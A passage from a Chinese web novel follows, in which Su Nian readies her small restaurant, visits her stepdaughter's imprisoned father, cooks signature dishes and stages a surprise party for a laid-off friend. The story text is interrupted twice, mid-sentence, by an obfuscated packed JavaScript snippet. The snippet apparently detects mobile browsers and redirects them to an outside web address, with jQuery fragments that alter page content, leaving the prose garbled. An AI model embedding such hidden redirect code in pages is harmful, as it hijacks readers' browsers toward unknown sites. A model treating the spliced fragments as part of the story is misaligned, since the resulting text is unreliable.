接下的半个月，苏念带小反派见了下她爸，又带着刘春霞、孙菊跑遍平江市大大小小的地方，才把店铺需要的东西采购好、归置好，同时进行门匾、菜单板的定制。 经过三人的商谈，最终确定餐馆名字叫苏记小餐馆。 店铺开业前的准备工作稳步进行，与此同时，刘春霞的停薪留职也正式接到了领导的通知。 这次纺织二厂共清退四十五名员工，其中老员工占据了三十名，大多数人选择办理停薪留职，同时厂发布通知不再接收学徒。 这一年的夏天，格外的漫长闷热，让人难以忍受。 刘春霞办理好手续的那天，关上房门，躺在床上一下午不出门，静悄悄地不出声。许建国专门请假回了趟家，陪在身边。 傍晚再次出现，刘春霞脸上挂着笑容，主动要求一起去摆小吃摊。 苏念一口答应，带着两人前往电影院摊位旁，让刘春霞在她旁边帮忙。 “好吃不贵的油炸，拿着小筐自选来我这边结账。”刘春霞脸上的笑容不变，卖力的向着每一位购买的客户宣传，“咱们摊位快搬迁至钢铁小学前门街道上。” 22. 辣炒鸡爪 苏念忙碌间隙看了一眼刘春霞，见对方脸上挂满笑容，热情的招呼客户、宣传店铺，仿佛下岗的事情对她没有任何的影响。 可办完手续一个下午的情绪低落是事实，就连现在满脸笑容，笑意却不达眼底，让人忍不住地担忧。 叹了口气，苏念继续手下的忙碌。 下岗的痛只有当事人能真正的缓解释怀，让时间慢慢的抚平伤口。 依旧是提早收摊，东西一售而空。三人推着餐车回小院时，许建国已经把三个孩子哄睡着。 江颜和许曼丽两个小朋友依偎在一起睡的香甜，苏念看了一眼，重新回小院叫住了想要离开的孙菊。 把人叫到了房间，四人围坐在餐桌前，苏念把提前写好的东西拿出来。 “如今刘嫂停薪留职手续已经办完，咱们几个合伙人趁着今晚这个机会讨论一下餐馆的经营。”苏念把本子摊在桌子正中间，“这是我的初步计划，你们先看看，合适的话咱们就定下来了。” “明天我们不出摊，我先做几道餐馆招牌菜，你们把家人孩子叫过来试菜。”苏念笑道，“我目前的想法是炒菜馆和早餐店一起经营。” “你们需要一个的一点是开餐馆赚的是辛苦钱。你们要做好心理准备吃这份苦。” 许建国带着刘春霞、孙菊仔仔细细的看着本子上的文字，眼中掩饰不住的欣赏。 一开始媳妇和他讲，打算停薪留职后跟着苏念干，他有些担心。眼下看完这份计划，他甚至涌起冲动辞职跟着干活。 四人就着本子确定了细节，商谈的正风风火火时隔壁屋子传来许曼丽的哭声，刘春霞当即跑去哄人。 苏念见刘春霞走，连忙拉住想要跟着离开的许建国。 见对方迷惑不解的眼神，苏念示意对方坐下。 “小苏，你葫芦里卖的什么药？神神秘秘的。”孙菊一见她眼珠子乱转，便知道她又有鬼主意了。 苏念，“我们明天晚上给刘嫂办个庆祝会，聚一起吃吃东西。” “庆祝会？庆祝什么？庆祝她停薪留职。”孙菊有些不敢相信，“小苏，你昏头了，你没见刘春霞心情不好。” 作为停薪留职的最早一批的职工，孙菊是最能体会刘春霞的感受的。当初刚办理的一段时间，每天宅在家里，大门不出二门不迈。一直稳定的收入来源突然断掉，心里的落差不是一般的差，要不是后面她对象给她张罗了卖粥的活计，她也不知道自己什么时候能调整好心情。 “庆祝旧的不去，新的不来。”面对孙菊的质疑，苏念笑呵呵道，“我知道嫂子能走出来，她已经和我们合伙开餐馆。但停薪留职的失落是有的，我要的便是她把情绪释放出来，更好的迎接新生活。” “我同意你说的。”一旁默不作声地许建国突然出声，看向苏念，“你想怎么做，我们全力配合。” 苏念见两人盯着她，微微一笑，示意凑近，将计划全盘托出。 - 暑假进行到中期，天气一天比一天炎热，巷子口玩耍的孩子们一个顶一个的皮肤变黑，纷纷把阵地转移到树下，乘凉玩游戏。 今天是带着江颜去看望她爸的日子，自打上次一见面，苏念答应小反派每半个月带着她去看望一次爸爸。 一早起床洗漱好，又把小孩穿戴好，才坐着公交车前往。 可能是暑假的缘故，公交车每天拥挤，上车时已经没有座位，苏念没办法将小孩护在身前，扶着椅背勉强站稳。 一路颠簸，好不容易到站，带着小孩下车，忍不住扯了扯出汗显得黏黏糊糊的上衣。歇了会儿，才带着满眼期盼的小反派前往公安局。 接访室。 苏念带着小反派在椅子上坐下，小孩双脚乱晃，手撑着脑袋，眼睛紧紧盯着接访室的门。 软萌可爱。 等待了大约五分钟，接访室门推开。 警察推开门，江淮生跟在身后，不同于上一次见面时的长发齐眼，头发被剪成了寸头，五官优越尽显，绷紧的下颌线，眼睫低垂。 “爸爸！” 小反派第一时间跳下椅子，朝着男人奔去，抱着大腿，诉说着思念。 江淮生望着脸色红润的小孩，忍不住捏了捏脸，绷紧的情绪陡然松懈。他能看出来，女人把江颜养的很好。 小朋友原先羸弱的身体长了肉，性格变得活泼开朗，上一次来时便注意到两人的关系亲密。 带着小反派坐下，江淮上抬眼看坐正对面的女人，由衷地说了声谢谢。 苏念见江淮生面色柔和，没有第一次见时的冷漠，知道自己的付出得到回报，等他出去后铁定不会搞她的。 意识到大佬没有把她逼入绝境的可能性，苏念的心情也飞扬起来。起身打算出去，给这对父女留足空间相处。 结果，刚一起身，衣角被拉住。 “妈妈，我们一家三口一直在一起，好不好？” 小孩昂着小脸，眼睛中满是期盼盯着她，苏念看了眼小孩，又见男人一瞬不瞬的看她，一时间，不知道怎么就发展到眼下的局面。 她明明想起身出去给父女俩留充足的空间的，怎么就上升到回答问题了？ 苏念又看了眼男人，见他没有说话的意思，终究是败在小孩的期盼中，摸了摸小孩的肉肉的脸颊，哄道。 “好，咱们一家人一直在一起。所以，你得抓紧时间和爸爸说话，时间到了咱们得走，今天要去给刘阿姨准备惊喜是不是？” “是！”得到肯定回答，江颜情绪高涨，笑着点头，快速跑到江淮生的身边，“爸爸，我和你讲，我和妈妈在家属院交到了好多好朋友，曼丽姐姐带着我……” 一个打岔，苏念也不打算出去，坐回原位，看着父女俩的互动。 不得不说，江淮生是一个耐心很好的父亲。认真仔细的听着小孩的话，不时给出回应，发现和小孩的互动时，浑身散发着温和的光辉。 探视时间结束，苏念带着小反派直奔农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522628|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贸市场。 到了市场直奔刘钱君的摊位。 “苏老板，昨儿说好今天不要送货，咋有空过来？”刘钱君见着财神爷，脸上堆着笑意迎接，“呦，这是你家小孩啊？长的很可爱。” “是啊，我闺女。”苏念笑着点头，指着刘钱君两口子介绍，“颜宝，叫刘叔叔，钱阿姨。” 江颜在介绍下，乖乖的朝着刘钱君两口子问好。 “刘叔叔好，钱阿姨好，我叫江颜，妈妈阿姨们叫我颜宝，你们也可以叫我颜宝哦。” “真乖，叔叔送个西瓜拿回家吃。” 四岁多的小孩，个头小小的，小脸一本正经的和他打招呼，哄的刘钱君笑意更浓，转身回摊位搬了个大西瓜放小孩脚边。 “刘老板，我今天过来也是和你讲一声的，我开餐馆了，在装修。”苏念从包里掏出一张单子递给男人，“纸上写的食材给我捡一份，标记的食材是你现在摊子上没有的，麻烦刘老板帮我留意找一下。” “好说。”刘钱君大致扫了一眼，接着把单子递给媳妇，忍不住试探，“苏老板，做大生意了，以后菜从我这边进吗？” 之前承诺的是摊子上的菜，如今开餐馆的用菜量成倍上涨，他必须趁热打铁把订菜的事情确定好，心才是能放下来。 “当然，等后面我们详谈。”苏念笑道，“刘老板，不要担心。” “喏，菜捡好了。”钱娟把东西捡好递出去，打趣道，“苏老板，可不要笑话我们家老刘了，只要你从我们家订菜，我们承诺给你最新鲜最好的食材，你店铺地址给我们，早上可以送货上门。” “那说好了。”苏念接过食材，“今天有事，后面过来和你们详聊。” 苏念带着江颜离开摆摊，去肉摊买了鸡爪、五花肉等，拎着东西搭乘公交车回了家属院。 许家两兄妹正在小院里玩耍，见她回来，纷纷围了上来，轻声说妈妈还在睡觉，没有起床。 苏念探头看了一下，交代三个小孩按计划行动，让她们出去玩耍，到时间回家。 等三个小孩跑出小院，苏念拎着东西敲门，“刘嫂，我打算做菜了，起床帮忙啊？” 片刻，屋子里传来响动，刘春霞开门，神色如常。 “行，你说我做。” 两人拎着菜去往后厨，苏念把五花肉、鸡爪扔进铁盆里泡着。 指挥着刘春霞洗蔬菜、切菜、备菜，自己则处理鸡爪肉类。 她打算开业的招牌菜上红烧肉、辣鸡爪等家常菜。 鸡爪剪掉指甲、用刀劈成两半，扔在盆里再次泡水。 菜备好，孙菊带着儿子老公也到了小院，和刘春霞坐在灶台后，手里抓着几坨大蒜剥皮。 鸡爪焯水，捞出清洗干净。鸡爪重新丢进铁锅，倒入半瓶啤酒和提前备好的开水，没过鸡爪。加入生抽老抽，盖上锅盖焖煮。 转身另起一锅，将五花肉丢进去，放入去腥三件套，焯水捞出，切成大小均匀的块。 23. 辣炒鸡爪2 苏念熟练地处理五花肉，炒糖色，焖五花肉。 三十多分钟，揭开锅盖，伴随着一阵水蒸气冒出，鼻间满是鸡爪的香味，肉眼可见的软糯，拿筷子轻轻松松的戳透。 拿勺子捞出鸡爪，盛一碗焖煮的原汤放一旁备用。 重新起锅，热锅冷油，放入提前剪好的辣椒段，炸出香辣味。加入姜末、蒜末、大量的小米辣，继续小火煸炒。 屋子上空弥漫着浓郁的辣椒，刺激的三人接连不住的打喷嚏，眼泪直流。 “嫂子。”苏念打了几声喷嚏，交代刘春霞，“火势旺一点，我准备炒鸡爪了。” ‘阿秋’‘阿秋’ 接连几声喷嚏，刘春霞抹着眼泪点头，“行。” 苏念倒入鸡爪翻炒，让鸡爪均匀的裹上油脂和辣椒段等香料，沿着锅边淋一点生抽和老抽，快速翻炒均匀。倒入一小碗之前保留的煮鸡爪原汤。火势转小，等待收汁。 与此同时，孙菊跑到前屋扯了三四张卫生纸回来，挨个递过去，分完才拿纸巾擦擦眼角，有些担忧，“小苏，辣炒鸡爪味道是很香。你做的菜会不会太辣，卖不出？” 辣炒鸡爪闻着味道是不错，可惜太辣，吃肯定是好吃的，可是不知道受众群体怎么样。 “嫂子，辣炒鸡爪的辣度是可以调节的。”苏念转身边处理食材，边说，“我们可以根据顾客的辣味接受度进行改良，能吃辣的人，咱们辣椒多放一点，不能吃辣的，我们辣椒就少放一点。” “其实今天的辣炒鸡爪味道算不上正宗，如果能够风味豆豉酱炒，味道会更好。”苏念看向两人说，“可是我找遍平江市大大小小的菜市场也没见到卖的。前段时间钱宇送了品质好的黄豆过来，我想做一些的，可惜又没有合适的发酵环境。” 正宗的辣炒鸡爪，加一点豆豉酱炒会增加别样的风味。 “合适的发酵环境？”孙菊丢掉纸巾，“可以尝试做一点，你之前做的火锅底料很香，我最近拿它炒菜，父子俩饭量都增加。” “制作豆豉酱需要温暖、通风、阴暗的环境。”苏念见对方有疑问，解释道，“咱们小院不太合适做。不然，我也想做一点，等餐馆开业时正好可以上湘味小炒肉。” 如果能制作出风味豆豉酱，对于后续餐馆菜品的经营是有帮助的。 之前她考虑过搭建一个地方制作，但一个小院住五口人，空间拥挤，不太适合。 “你做，放我家发酵。”孙菊一听这话连忙说，“我们家后院厨房前有一块小空地，我到时候让我们家老周搭一块地方。” “好。”苏念眼睛亮了一下，“那我这两天着手弄豆豉酱，争取我们餐馆开业前做好。” “你顺带做一点火锅底料吧，我们家还挺爱吃的。”孙菊趁机说，“到时候过来帮忙。” 刘春霞，“我家也要一点尝尝。” “行，两位嫂子，到时候给你们一人拿一份。”苏念笑道。 说话间，辣炒鸡爪收汁干，拿出一个白瓷碟，盛好递出。旁边锅里的红烧肉也焖煮好。 “孙嫂，你把辣炒鸡爪和红烧肉端上桌，把餐桌支起来，还有几道快手菜。”苏念看了眼正在往灶膛里添柴火的刘春霞，冲着孙菊使眼色，“把人叫回来，准备开饭。” “好嘞。”孙菊回了个眼色，端起碟子往外走，“我先去收拾餐桌。” 孙菊端着菜到前院，指挥着儿子周琪支开餐桌，把菜摆好，才看向四周，“周琪，你爸和你许叔还没回来？” 周琪盯着桌子的菜，忍不住咽了下口水，才收回视线，“没有回来，妈，要不要我去催一下？” 孙菊抬手看了下腕表，眉间忍不住焦躁，闻言，“不用，他们骑自行车，蛋糕店离四条巷也不远。” 顿了顿，继续说，“周琪，你去把弟弟妹妹们叫回来吃饭。” 周琪听后，转身离开小院，看着儿子的背影，孙菊当机立断转身回后厨，打算告诉苏念。 按照昨晚的计划，她们一家今天早点过来，她负责和刘春霞扯闲天、分散注意力，她爱人和许建国去订做蛋糕。 眼瞅着马上开饭，两个大男人连回来的影子都没看见。 别耽误正事。 “孙菊，这么快收拾好了？你帮我烧火。”刘春霞率先看见女人，连忙说，“我坐久了，想站起来走一走。” “——不，没有好，我进来拿一下抹布擦桌子。”孙菊眼见女人打算站起来，连忙说，“小苏，慢点儿炒菜，孩子们还没回来，我让大海去叫了。” 使劲儿冲苏念使眼色，拿好抹布一溜烟的跑出去。 刘春霞见跑远的孙菊，无奈的坐回原位。 接收到眼色的苏念，连忙不动声色地放慢了炒菜的速度。 半个小时，许建国两人拎着蛋糕进了小院门。 许曼丽兴奋的跑上去接过，“奶油蛋糕！” 她喜欢哄妈妈计划，可以吃到好吃的奶油蛋糕。每年只有过生日的时候，爸爸才会买一个，今天不过生日也可以吃奶油蛋糕。 “把蛋糕先拎进苏阿姨家里。”许建国见闺女馋猫样，忍不住失笑交代道，“等会儿吃饭时你和哥哥再一起端出来送给妈妈，好不好？” “好！” 许曼丽小心翼翼的端着蛋糕，带着江颜进里屋放好。 孙菊见人到齐，连忙跑去后厨去端菜，催道，“小苏，还有几个菜啊？人到齐了。” 苏念，“最后一道蒜蓉时蔬，你和嫂子先去前面，我马上过来。” “没事，我帮你烧火。”刘春霞头也没抬，说了句。 苏念也没有坚持，快速炒时蔬。 锅热，放油，放入大量的蒜蓉爆炒，出了蒜香味，把小青菜丢进去，快速翻炒，倒入一些生抽，盛出。 一道蒜蓉时蔬出锅。 三人到前院时，小孩一桌已经坐齐，两个男人也坐好。 “嫂子，我们俩在厨房时间待的最长，我们去毛巾擦个脸再来吃饭。”苏念放下蔬菜，笑着支开刘春霞，“一身油烟味，影响吃饭。我家洗脸皂用完了，嫂子，借用一下你的。” 闻言，刘春霞闻了下衣服味道，微不可察的皱了下眉头，欣然同意。 苏念朝着孙菊使眼色，带着人走了。 人一进屋，孙菊赶紧让许家两兄妹去屋子里把蛋糕蜡烛插.好，让许建国做好准备。 卧室。 刘春霞把洗脸皂递给女人，“小苏，你先洗脸，我换个上衣，味道太大了。” “行。”苏念接过洗脸皂，快速洗了把脸，又重新换了盆清水，看着洗脸的刘春霞，笃定道，“嫂子，你这两天心情不太好。” 话落，女人的动作凝滞，盖在脸上的毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526322|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾久久没有拿下。 “嫂子？” 良久，苏念只见女人拿下毛巾，眼眶通红的盯着她。 “小苏。” 向来以风风火火面目示人的刘春霞声音哽咽，红着眼看着她。 “我以后不在厂里上班了。” 自打被通知裁员，刘春霞以为能接受，心情能调整好。她以为办停薪留职时，不会感到难受。 “没事，嫂子。”苏念连忙上前搂住她，“我们餐馆快开业了，你以后能全身心投入咱们小餐馆的建设，多挣钱给孩子们更好的生活。” 刘春霞头埋在苏念的肩头，沉默没有说话，过了一会儿，收拾好心情。 “等着吃饭呢，我们出去吧。” 孙菊紧盯着门，见有动静，连忙让许建国等人准备。 苏念带着刘春霞推开门，两人坐好，众人响起一阵掌声。 许家两兄妹抱着蛋糕放在桌子上。 许曼丽说着爸爸教的词，“妈妈，祝你步入人生新篇章。” 许军，“妈妈，我会好好学习，以后给你当依靠，你努力跟着苏姨挣大钱。” 刘春霞看着眼前一大一小的两兄妹，良久，才反应过来发生了什么，刚收拾好的心情一下乱了，眼泪止不住的流下。 肩膀处传来一阵温暖，下意识抬眼看去，男人温柔的看着她，说，“春霞，不要害怕，家里还有我。” 刘春霞紧盯着一双儿女和男人，从办理手续后惊慌失措的心，陡然安定下来，擦了擦眼泪，点了点头。 绽放了发自内心第一抹笑容。 正午的阳光燥热，一扫往日的阴霾。遮阳棚下的众人，电动扇吹来一阵凉风，心情舒畅。 刘春霞摸了摸一双儿女的脑袋，“好啦，时间不早了，我们吃饭，看看咱们餐馆的招牌菜味道怎么样？” “好，吃饭。” 众人附和。 给小孩们一人切了一块蛋糕，大人们倒啤酒开饭。 举杯痛饮一番，孙菊放下酒杯，第一筷子夹了一个鸡爪。 送入口中，鸡爪软糯，轻轻一抿即脱骨，辣椒和花椒的麻香刺激着味蕾，不断地分泌着口水。 连刨几口米饭。 “香！”孙菊感叹道，“小苏，你为什么做啥都好吃的不得了。” 从最初的菜煎饼、茶叶蛋，到后来的包子、土豆等等，真的是每一道菜都能牢牢击中她的味蕾。 “好吃就行，那这道菜定下来？” 其余三人连连点头赞同。 周琪尝了几口蛋糕放一旁，舀了几勺红烧肉的汤汁浇在米饭顶端，又夹了一块红烧肉放在米饭里，拿着勺子快速碾碎、拌匀。 一勺混着汤汁、红烧肉的米饭送入口中，肥而不腻，肉香、米香交相辉映，周琪舒服的眯起眼睛。 好吃！ 十五六岁的少年正是喜爱吃肉的年纪。他妈妈之前也给他烧过红烧肉，不知道是不是食材处理的不到位，吃起来有一些类似腥味。 自打那一次，本来他对红烧肉是有心理阴影的。不过，今天看见桌子上的红烧肉色泽鲜亮、散发着诱人的香味，不由自主的夹了一块，没想到尝起来味道不错。 不到五分钟，一碗红烧肉拌饭下肚。周琪起身盛饭的功夫看了一眼大人桌，思考着开学去餐馆蹭.饭的可能性。